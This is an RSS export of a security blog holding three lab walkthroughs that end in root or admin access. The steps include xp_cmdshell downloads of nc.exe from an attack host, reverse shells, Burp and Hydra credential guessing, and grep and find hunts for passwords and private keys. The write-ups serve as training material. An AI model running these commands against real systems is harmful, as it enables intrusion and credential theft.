<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cyber Grover 🐱‍💻 on Medium]]></title>
        <description><![CDATA[Stories by Cyber Grover 🐱‍💻 on Medium]]></description>
        <link>https://medium.com/@cybergrover?source=rss-5e3def3ce45b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*e_l3FQ7S0LeL5R6zwtz3HQ.jpeg</url>
            <title>Stories by Cyber Grover 🐱‍💻 on Medium</title>
            <link>https://medium.com/@cybergrover?source=rss-5e3def3ce45b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:26:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cybergrover/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Can I Haz Root? :: Archetype]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-archetype-563a6416c96e?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/563a6416c96e</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Mon, 13 Oct 2025 09:10:56 GMT</pubDate>
            <atom:updated>2025-10-13T09:10:56.949Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: Archetype</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJWzYEIkkyt6fIBvYkLbcg.png" /></figure><h3>Overview</h3><p><strong>Target Machine:</strong> Archetype</p><p><strong>Difficulty:</strong> Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*EifEc8sS65scvJDOsRT-hA.png" /></figure><h3>Enumeration</h3><p>I ran a quick discovery scan against the target IP to confirm it was alive and gather an initial port list:</p><blockquote># basic discovery<br>sudo nmap $IP</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZT7CmuTHRFc7cBOne6LVNg.png" /></figure><blockquote># in‑depth scan of likely Windows/DB ports<br>sudo nmap -sC -sV -T4 -p 135,139,445,1433 $IP</blockquote><p>Based on the initial results I suspected Windows‑related services and possibly SQL Server. To validate and collect version and script output I ran:</p><p><strong>Flags explained:</strong></p><ul><li>-sC — runs nmap&#39;s default NSE scripts (useful for service discovery, SMB scripts, common checks).</li><li>-sV — service/version detection.</li><li>-T4 — faster timing.</li><li>-p 135,139,445,1433 — focused on:</li><li>135 (RPC / MS RPC) — common on Windows hosts</li><li>139 / 445 (NetBIOS/SMB) — for file shares, named pipes, and many Windows attack paths</li><li>1433 (Microsoft SQL Server) — database service often worth checking for misconfigurations/weak credentials</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KBDQfxig8W86BPRHV1KE3w.png" /></figure><p>After the nmap reconnaissance I focused on SMB. I checked available shares with an anonymous list request:</p><blockquote>smbclient -L -N //$IP/ # anonymous share listing (no password)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SygXCFjW3YzlRmSrS5hwhg.png" /></figure><p>Output showed the common administrative shares (ADMIN$, C$) were present but access was denied when I tried to connect.<br>An accessible backups share is promising: backups frequently contain plaintext configuration files, DB dumps, or service account credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAheu29w6eihDSTF45OnxA.png" /></figure><p>After connecting to the backups share I found and downloaded prod.dtsConfig.</p><p>*.dtsConfig is an XML configuration file used by SQL Server Integration Services (SSIS). It commonly contains ConnectionString values and keys like Password, User ID, Data Source, or Initial Catalog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeIA8TPBEbdfg2t6LGgN5Q.png" /></figure><p>Finding a username and password inside an SSIS *.dtsConfig file is a common and highly valuable discovery.</p><p>Username: ARCHETYPE\sql_svc<br>Password: [REDACTED]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zxe15cQapJBf1Z5NAN8nzg.png" /></figure><p>I prefer mssqlclient.py from the Impacket toolkit for interactive SQL work in labs because it gives a convenient REPL‑like interface, supports both SQL and Windows auth formats, and integrates cleanly with other Impacket tooling when pivoting later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cB4QNJlT-MR5AKvXievWag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSHBfH0ok8byyZvOiENV_w.png" /></figure><blockquote>./impacket-mssqlclient.py ARCHETYPE/sql_svc@10.129.95.187 -windows-auth</blockquote><ul><li>impacket-mssqlclient.py — Impacket’s interactive MSSQL client.</li><li>ARCHETYPE/sql_svc@10.129.95.187 — target login and host.</li><li>-windows-auth — tells the client to use <strong>Windows authentication</strong> (NTLM/SSPI) rather than plain SQL authentication.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ao0Szgavq2oj_5ZTUMNlPA.png" /></figure><blockquote>After authenticating with the sql_svc account via Impacket’s mssqlclient.py, I started with small, low‑impact queries to confirm the server and probe available metadata:<br> — confirm server/version<br>SELECT @@VERSION;<br>SELECT @@SERVERNAME;</blockquote><blockquote>— look for tables in specific databases<br>SELECT TABLE_NAME, TABLE_SCHEMA FROM tembdb.INFORMATION_SCHEMA.TABLES;<br>SELECT TABLE_NAME, TABLE_SCHEMA FROM model.INFORMATION_SCHEMA.TABLES;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ua3GenyQkJIs-2SMsN-tsg.png" /></figure><p>When basic queries return no obvious results, the next step is systematic discovery: enumerate <em>what you can see</em>, inspect server metadata and msdb (jobs), check linked servers, and search all accessible databases for strings that look like secrets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2BxufW7KPgoBr8OrV6A3qA.png" /></figure><p>While using mssqlclient.py I noticed enable_xp_cmdshell in the help/menu. xp_cmdshell is a built‑in extended stored procedure that, when available to an account with the right privileges, allows SQL to execute arbitrary OS commands. If you can enable or call it, you can escalate from database access to operating‑system level access on the host.</p><p>I attempted to run xp_cmdshell &#39;whoami&#39;; to validate OS command execution, but the action was blocked — indicating the account lacked the necessary server privileges or xp_cmdshell was disabled/restricted on the instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Py9TS0IUt9vVKvaMNt3lwQ.png" /></figure><p>While enumerating the MSSQL instance I discovered the enable_xp_cmdshell option in the client help and proceeded to enable it. Enabling xp_cmdshell is a classic escalation: it allows SQL to run OS commands, which can expose files, service accounts, and lead to an interactive system pivot — but it also changes server state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FT41JurZ0YvZU9HCCSq1Ng.png" /></figure><p>With xp_cmdshell enabled and the right privileges, the database can execute arbitrary OS commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qhS7SIR-o9VC9ZWk9W7oLQ.png" /></figure><p>From my attack machine I changed into /usr/share/windows-resources/binaries/, the directory where I had a portable networking binary stored. To make the file available to the target, I started a minimal HTTP server on my machine and used that as the transfer source for the subsequent steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02rlLKeQFgubbBnpjcm3SQ.png" /></figure><p>I ran into a permissions issue while trying to stage files from the target: the directory I was in on the host was not writable by the sql_svc account. I verified the environment and enumerated directories with a few xp_cmdshell calls:</p><blockquote>— show current working directory (invokes PowerShell to run cmd.exe’s pwd)</blockquote><blockquote>xp_cmdshell “powershell -c cmd.exe pwd”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OnC1foSJQ-CnfYozU5DgyA.png" /></figure><blockquote>— list root directory<br>xp_cmdshell “powershell -c Get_ChildItem C:\”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46k35RfE_pe7Z1aPCT8YxQ.png" /></figure><blockquote>— list users directory<br>xp_cmdshell “powershell -c Get_ChildItem C:\Users”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7LiKxXiA-ngJ9aWsRoeHQ.png" /></figure><blockquote>— list the Administrator profile (access denied)<br>xp_cmdshell “powershell -c Get_ChildItem C:\Users\Administrator”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-r-8ay__pbDCR8XtsYw9Ug.png" /></figure><blockquote>— list the sql_svc profile (succeeded)<br>xp_cmdshell “powershell -c Get_ChildItem C:\Users\sql_svc”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4qyO8XvXviTCkyIQcTArA.png" /></figure><blockquote>— list the sql_svc desktop (succeeded)<br>xp_cmdshell “powershell -c Get_ChildItem C:\Users\sql_svc\Desktop”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yR8DMRR0nm8YePSb54d_tg.png" /></figure><p>After confirming I could read C:\Users\sql_svc\Desktop, I attempted to create a test file to verify write access:</p><blockquote>— attempted to create a file on the sql_svc Desktop (result: Access is denied)<br>xp_cmdshell “powershell -c cd C:\Users\sql_svc\Desktop; echo Hello &gt; test.txt”</blockquote><p>The write failed with an <strong>Access is denied</strong> error, confirming that although enumeration was possible, the sql_svc account did not have permission to create files in that location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uxu8b4ex6hvEspDr_XHTYA.png" /></figure><blockquote>To confirm write capabilities elsewhere, I then tried the Downloads folder, which succeeded:<br> — create a test file in sql_svc’s Downloads (succeeded)<br>xp_cmdshell “powershell -c ‘cd C:\Users\sql_svc\Downloads; echo Hello &gt; C:\Users\sql_svc|Downloads\test.txt’”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8OwTAdFPmeu6ya52qmmGQ.png" /></figure><p>From the writable C:\Users\sql_svc\Downloads folder I used PowerShell to fetch a binary from my attack host. In the lab I issued a single xp_cmdshell call that invoked PowerShell to change to the Downloads directory and download the file from a temporary HTTP server I had running on my machine.</p><blockquote>xp_cmdshell “powershell -c cd c:\Users\sql_svc\Downloads; powershell -c iwr <a href="http://10.10.14.17:8000/nc.exe">http://10.10.14.17:8000/nc.exe</a> -UseBasicParsing”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PdRmNL_3oPxfd1tI4pTo5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVW_W_aE-2XbbHc8sEitcQ.png" /></figure><p>On the attack VM I had a temporary listener running; once the binary executed on the host it connected to my listener and yielded an interactive shell. That session confirmed I was running as ARCHETYPE\sql_svc and allowed me to inspect the filesystem and retrieve additional artifacts for further enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1w_f0Afg0xyzxQIYdOT15g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KyqePa8_H590ng4Qt5sZjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*7YZ1wdeCNF0d1v7pLFSn-w.png" /></figure><p>Because the target had no Internet access, I first downloaded the WinPEAS binary onto my attack VM and saved it as winPEAS.exe for later use:</p><blockquote>curl -sSL &lt;WINPEAS_BINARY_URL&gt; -o winPEAS.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hD_eEUXbtN2dvUwC42NrLw.png" /></figure><p>Because the target had no internet access, I started a temporary HTTP server on my attack VM and used PowerShell’s Invoke‑WebRequest on the host to download the winPEAS binary into a writable directory for offline enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t8Y81fjK4jF3VilRdGPV5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4ICnGWsl7TIsv5eg7K6QA.png" /></figure><p>Executed winPEAS on the host (.\winPEAS.exe) to perform automated local enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hfTPD9ZOx6xcq0EoUGnqw.png" /></figure><p><strong>PowerShell history file discovered</strong></p><p><strong>Path:</strong> C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</p><p>The PSReadLine history often contains plain‑text commands previously executed by the user — that can reveal credentials, IP addresses, file paths, or other operational details that accelerate enumeration. Even non‑sensitive commands provide context about the user’s activity and commonly accessed locations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0h6EVu62nGLa3XwIYBiGg.png" /></figure><p><strong>Current token privilege: </strong><strong>SeImpersonatePrivilege</strong></p><p>The account token includes the SeImpersonatePrivilege privilege.</p><p>SeImpersonatePrivilege allows a process to impersonate other accounts under certain conditions and is commonly leveraged in privilege‑escalation chains on Windows. Its presence is a strong indicator that there may be a path from a lower‑privileged user to a higher‑privileged context if other conditions (service misconfiguration, writable executables, etc.) exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-NuG0TLTFhZmZNqRTbjEUw.png" /></figure><p>The local Administrator account exists and is enabled.</p><p>An enabled local Administrator account increases attack surface — especially if local credentials are reused or discoverable elsewhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKg8wWVIwaZeKFvdDEJahg.png" /></figure><p><strong>Unquoted/space‑delimited </strong><strong>desktop.ini file found</strong></p><p>An entry related to desktop.ini (or an unquoted path that references desktop.ini) was reported as an unquoted path / space‑delimited item.</p><p>Unquoted service or executable paths containing spaces can sometimes be abused to execute unintended binaries if an attacker can place a malicious executable along that path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kSKlpjuO2EOrAxAjac9sw.png" /></figure><p>While reviewing the PowerShell history for sql_svc I opened C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt and found a command that contained the local Administrator password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B5H7esdwGCp63V8bkqmUiw.png" /></figure><p>psexec.py is an open‑source reimplementation of the functionality popularized by Sysinternals’ PsExec. It’s part of the Impacket toolkit and provides a way to execute commands on remote Windows hosts using standard Windows administration mechanisms (SMB/RPC/service control).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSm2kzL43nRGj9ivCBEKpw.png" /></figure><p>I used an authenticated remote‑execution tool (psexec.py) to attempt to run commands as the local Administrator. The action resulted in an interactive elevated session on the host; I verified the privilege level with a sanitized whoami output and audited the system for the artifacts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9vg19Q7ecBp8Cq8Q3UW4cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTD5SZrVVKAagfscA2bE0Q.png" /></figure><p><strong>Key learning outcomes</strong></p><p>Archetype was a neat exercise in methodical recon → pivot → escalation. Fast, focused enumeration (SMB + MSSQL) led me to an accessible backup share and an SSIS config containing service credentials, which in turn unlocked further validation and an automated local‑enumeration run. That output exposed local artifacts (PowerShell history), token privileges, and writable user paths — all of which combined into a clear escalation path. The main takeaways: treat backups and config files as high‑value sources of secrets, minimize and audit service‑account privileges (especially sysadmin/impersonation rights), harden writable paths and service creation controls.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=563a6416c96e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can I Haz Root? :: Pennyworth]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-pennyworth-8e0ead5e0797?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e0ead5e0797</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 04:22:33 GMT</pubDate>
            <atom:updated>2025-10-07T04:22:33.820Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: Pennyworth</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1bKYQGz0TYQKiShnr6yJw.png" /></figure><h3>Overview</h3><p>Target Machine: Pennyworth</p><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/137/1*HsMHKwsYybuDp4WxnCXN5Q.png" /></figure><h3>Enumeration</h3><p>I started by exporting the target IP into an environment variable (export IP=10.129.184.244) so I could reference it concisely throughout the engagement. Small conveniences like this reduce copy/paste errors and make long command lines easier to read — especially useful when writing up the steps later.</p><p>Next I ran a quick, top-level Nmap against the host (nmap $IP). This initial sweep is about answering the most important reconnaissance questions fast: is the host up, which ports are open, and are there any obvious services worth chasing? It’s a lightweight way to build a mental map of the target before committing to deeper probes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*VOX1JNP85VQStQ47Sv0TNw.png" /></figure><p>Having identified an interesting service on port 8080, I performed a focused service scan with default NSE scripts and version detection to probe that specific surface:<br> nmap -sC -sV -p 8080 $IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*nJTLZ69ggwfIFDRKIIWukQ.png" /></figure><p>The output was short but useful. The host was up and serving HTTP on port <strong>8080</strong>, and the server banner identified <strong>Jetty 9.4.39.v20210325</strong>. There was no HTML title, but nmap’s default scripts picked up a robots.txt entry disallowing / — a tiny clue that something interesting may be intentionally hidden behind the root path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oduPAiWvsQizNOblFTKmZg.png" /></figure><p>When the webroot redirected me I landed on a Jenkins login page — nothing flashy, just the familiar form that posts to Spring Security’s authentication endpoint. I proxied the login attempt through Burp and captured the POST to /j_spring_security_check, which made the app’s tech stack explicit and showed the exact parameters the form submitted (j_username, j_password, Submit).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*YHcQmGbjSxEKWzy_b8pVmA.png" /></figure><p>With that information I switched into offense. Instead of blind brute forcing, I used Burp Intruder’s <strong>ClusterBomb</strong> attack type — the right choice when you want to try multiple username <em>and</em> password combinations independently. I fed it a short list of likely usernames (root, admin, jenkins, administrator, svc-jenkins, etc.) and a curated password list of common/default credentials and weak passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*F7OVAi7NwGnCJRjyta3Y9A.png" /></figure><p>While the attack ran I watched for the usual signals of a successful login: unexpected redirects (especially away from /loginError), a change in response length or status code, and the presence of authenticated resources in subsequent requests.</p><p>When one of the Intruder requests returned a noticeably <strong>shorter</strong> response than the rest, that tiny anomaly immediately caught my eye — length differences are a classic, low-effort signal that something different happened on the server side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*thQ9WQ1LBTHgOfuEDCMA7A.png" /></figure><p>Success: the root:password combo authenticated and dropped me into the Jenkins dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*Vz_B8yG1sum3gbZUbGE0wQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uLbiyFAwpzUpZy4GuW5kQA.png" /></figure><p>I spent a few minutes systematically poking around the dashboard — the kind of low-effort enumeration that pays off big in Jenkins. I scanned the <strong>Build History</strong> to see which jobs had run recently and how they were invoked. I opened <strong>Jenkins logs</strong> and job pages to learn what the instance was actually doing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*kO1t4uxXnQTMtvTLVyUh_Q.png" /></figure><p>I opened <strong>Jenkins logs</strong> and job pages to learn what the instance was actually doing. My mental checklist while exploring was simple: which jobs run shell/Windows steps, where build artifacts end up, and whether any job configuration exposed credentials, SCM URLs, or deploy scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HPpoXSZGMYzs6ar3uvj77A.png" /></figure><p>Under <strong>Manage Jenkins</strong> I spotted the Script Console — the exact kind of “admin toy” that turns a web app into a shell if you’re authenticated as an administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7u9FvtLlmz_mXurw1zmmg.png" /></figure><p>I started with the smallest, least risky check: a one-line Groovy print to confirm the Script Console actually ran code as I expected. I executed a simple command to emit text to the console output — essentially println &quot;Hello&quot; — and the console returned hello.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4xgOcu6geVeDeQXEy3MmA.png" /></figure><p>That tiny success is important for two reasons. First, it proves code execution in the Jenkins process without touching anything sensitive, which is a safe way to validate your access and avoid accidental damage. Second, it confirms how output is presented (useful when you later run file reads or command output): the Script Console reliably shows stdout, so it’s a good channel for quick enumeration.</p><p>I didn’t try to invent a Groovy reverse shell from scratch — I went hunting for a known-good pattern. A quick search turned up the well‑maintained <strong>PayloadsAllTheThings</strong> repository, which has a “cheat‑sheet” of reverse‑shell snippets for many languages, including Groovy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*qYmV2ZYLSDlJXvMCWDcCtw.png" /></figure><p>I treated the snippet as a template rather than a drop‑in exploit. Before running anything I read the payload to understand exactly what it would do in the Jenkins process (open a socket, exec a shell, what user it would run as, etc.), then adapted small bits for the box — the attacker IP/port, and a couple of safety checks so I wouldn’t accidentally spawn noisy background processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wG8l_3jDGHLje0eEXqs_Cw.png" /></figure><p>I adapted the community Groovy reverse‑shell template to the target environment: the original snippet invoked cmd.exe (a Windows shell), so I changed that to /bin/bash to match the Linux host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RzjlBncsWI_vkcGJT96OpQ.png" /></figure><p>The rest of the payload remained the same in intent: open a TCP connection back to my machine and bind a shell to that socket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SE_zi_Pa9TIer1x4mDbhTQ.png" /></figure><p>On my attacking VM I started a listener to catch the incoming connection (nc -nvlp 9898). Running a dedicated netcat listener gives a predictable place for the Groovy payload to connect back to and makes it trivial to observe the moment of success (connection established, a prompt, or shell output).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*hNFrhgznNN9D7ss-WaF-0g.png" /></figure><p>The payload opened a TCP connection back to my machine, and when I attached to the stream I wasn’t greeted by a regular user prompt — I was in as <strong>root</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*4q8Q7bFQkoxWaxy5AdMRIQ.png" /></figure><h3>Learning Outcomes</h3><ul><li>Recognize nonstandard service surfaces: HTTP on uncommon ports (like 8080) and small clues such as robots.txt can point you toward hidden or intentionally unindexed functionality worth exploring.</li><li>Identify and capture authentication flows: proxying a login (Burp) to observe the POST endpoint and parameter names (j_spring_security_check, j_username, j_password) enables reliable, automated testing and reduces guesswork when attacking auth mechanisms.</li><li>Exploit authenticated functionality thoughtfully: once authenticated, treat dashboards and management pages as a map.</li><li>Appreciate the power (and risk) of admin consoles: privileged scripting consoles (Jenkins Script Console / Groovy) commonly run with elevated rights and can convert web access into arbitrary code execution</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e0ead5e0797" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can I Haz Root? :: FUNNEL]]></title>
            <link>https://cybergrover.medium.com/can-i-haz-root-funnel-d8e94d181d05?source=rss-5e3def3ce45b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8e94d181d05</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyber Grover ‍]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 12:50:40 GMT</pubDate>
            <atom:updated>2025-10-06T12:50:40.508Z</atom:updated>
            <content:encoded><![CDATA[<h3>Can I Haz Root? :: FUNNEL</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m1bKYQGz0TYQKiShnr6yJw.png" /></figure><h3>Overview</h3><p>Target Machine: Funnel</p><p>Difficulty: Easy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/151/1*X6txy7LpT0vh6tbKMYCEGg.png" /></figure><h3>Enumeration</h3><p>The quick scan returned just <strong>two open ports</strong>: <strong>SSH (22)</strong> and <strong>FTP (21)</strong>. This immediate result framed the rest of my approach — the presence of SSH and FTP suggests two likely attack paths: credential discovery via FTP (public/anonymous access or accidental config leaks) and traditional SSH-based access (credential reuse, weak passwords, or discovered SSH keys).</p><blockquote># set the target IP variable<br>IP=10.129.115.111</blockquote><blockquote># run nmap with root privileges for more accurate results<br>sudo nmap $IP</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*lLg8_EFPFG0j12U273NQ6g.png" /></figure><h3>Deeper service enumeration with nmap -sC -sV</h3><p>To follow up on the initial quick scan I ran a more thorough enumeration of the two services:</p><blockquote># focus the scan on ports 21 and 22, use default NSE scripts and service/version detection,<br># save output to a file for later review<br>sudo nmap -sC -sV -p 21,22 -oN full_nmap $IP</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*3HtYJ2_P6VXz8vOcUuFTZw.png" /></figure><p>The combination of version detection with default NSE scripts often yields low-effort, high-value data: service banners, supported algorithms, anonymous FTP availability, and even well-known misconfigurations or backdoors that NSE scripts can detect automatically. Saving the output gives you an audit trail and makes it easy to extract artifacts for later analysis.</p><p>The nmap -sC -sV scan paid off: one of the NSE scripts flagged <strong>anonymous FTP</strong> as allowed.</p><p>The listing revealed a directory named mail_backup. That’s an immediate red flag: mail backups frequently contain plain-text messages, credentials, backup archives, or configuration files — everything attackers love.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*uhVlRRTdn-WoLl_vaR9d1g.png" /></figure><p>Download the folder for offline analysis</p><p>wget -m — no-passive ftp://anonymous:anonymous@10.129.115.111/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*p9PiEVNCbUT7mXzc8m2IWg.png" /></figure><p>Inside the mail_backup folder I found two files that jumped out as likely places to hide useful artifacts: welcome_2811022 and password_policy.pdf</p><p>The welcome_2811022 file looked like an onboarding email sent to new employees — a perfect source of user account hints.</p><p>treated the email as an enumeration artifact: extract every name and email address, normalize them into likely Linux usernames (first, first.last, initials, etc.), and use that list as targeted candidates for SSH login attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*f_mH7_BZwtBKzqlj1djnEg.png" /></figure><p>The password_policy.pdf contained a smoking-gun: the team’s <strong>default password</strong> for new accounts and onboarding — a credential that, according to the document, <em>must be changed immediately</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*EZGU-I4lRWg10__TQRoXeQ.png" /></figure><p>Armed with a short list of usernames harvested from the welcome_2811022 message, I proceeded to test those accounts against the default password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*DKnSrL68SeEWotf7f16Anw.png" /></figure><p>Default credentials are an easy win during reconnaissance because they convert “guess the right username/password pair” into a small, deterministic check — and on real systems they’re one of the most common root causes of initial compromise.</p><h3>Initial access — credential stuffing with Hydra yields an SSH shell</h3><p>With the username candidates harvested from the onboarding email and the default password pattern discovered in password_policy.pdf, I ran a focused credential test against SSH:</p><blockquote>hydra -L usernames.txt -p ‘funnel123#!#’ ssh://$IP</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*XcJYnS_WEWoCi717ejqM3w.png" /></figure><p>The result was immediate: <strong>Hydra reported a valid login for </strong><strong>christine</strong> using the password funnel123#!#. This converted a long-shot brute force into a deterministic compromise — a textbook win where human-facing artifacts (onboarding emails + policy docs) give you just enough context to try a small, targeted list of credentials.</p><h3>Manual Linux Enumeration</h3><p>Confirm basic session info</p><blockquote>whoami<br>id<br>hostname<br>uname -a</blockquote><p>Explore the home directory and user files</p><blockquote>ls -la /home<br>ls -la ~<br>ls -la ~/.ssh<br>cat ~/.bash_history 2&gt;/dev/null</blockquote><p>Search for readable credentials and interesting files</p><blockquote>grep -RniE “password|passwd|ssh-rsa|BEGIN RSA PRIVATE KEY|PRIVATE KEY|FLAG|token|secret” /home /etc 2&gt;/dev/null || true<br>find /home -maxdepth 3 -type f -iname “*.env” -o -iname “*.pem” -o -iname “*.key” -o -iname “*.conf” 2&gt;/dev/null</blockquote><p>Check sudo rights</p><blockquote>sudo -l</blockquote><p>Review running processes and network services</p><p>Check world-writable files, SUID binaries, and cron jobs</p><blockquote># world-writable:<br>find / -xdev -perm -0002 -type f 2&gt;/dev/null | head</blockquote><blockquote># SUID binaries:<br>find / -perm -4000 -type f 2&gt;/dev/null</blockquote><blockquote># user cron jobs:<br>crontab -l 2&gt;/dev/null<br>ls -la /etc/cron.* 2&gt;/dev/null</blockquote><p>Inspect system accounts and group membership</p><blockquote>cat /etc/passwd | egrep -v ‘nologin|false’<br>getent group | grep sudo</blockquote><h3>Automating privilege escalation checks with LinPEAS</h3><p>After gaining an initial shell as christine, I used LinPEAS to accelerate local privilege enumeration. LinPEAS is a comprehensive post-exploitation script that scans for common misconfigurations, credentials, writable files, cron jobs, SUID binaries, sudo rights, and other privilege escalation vectors — basically everything you’d otherwise check 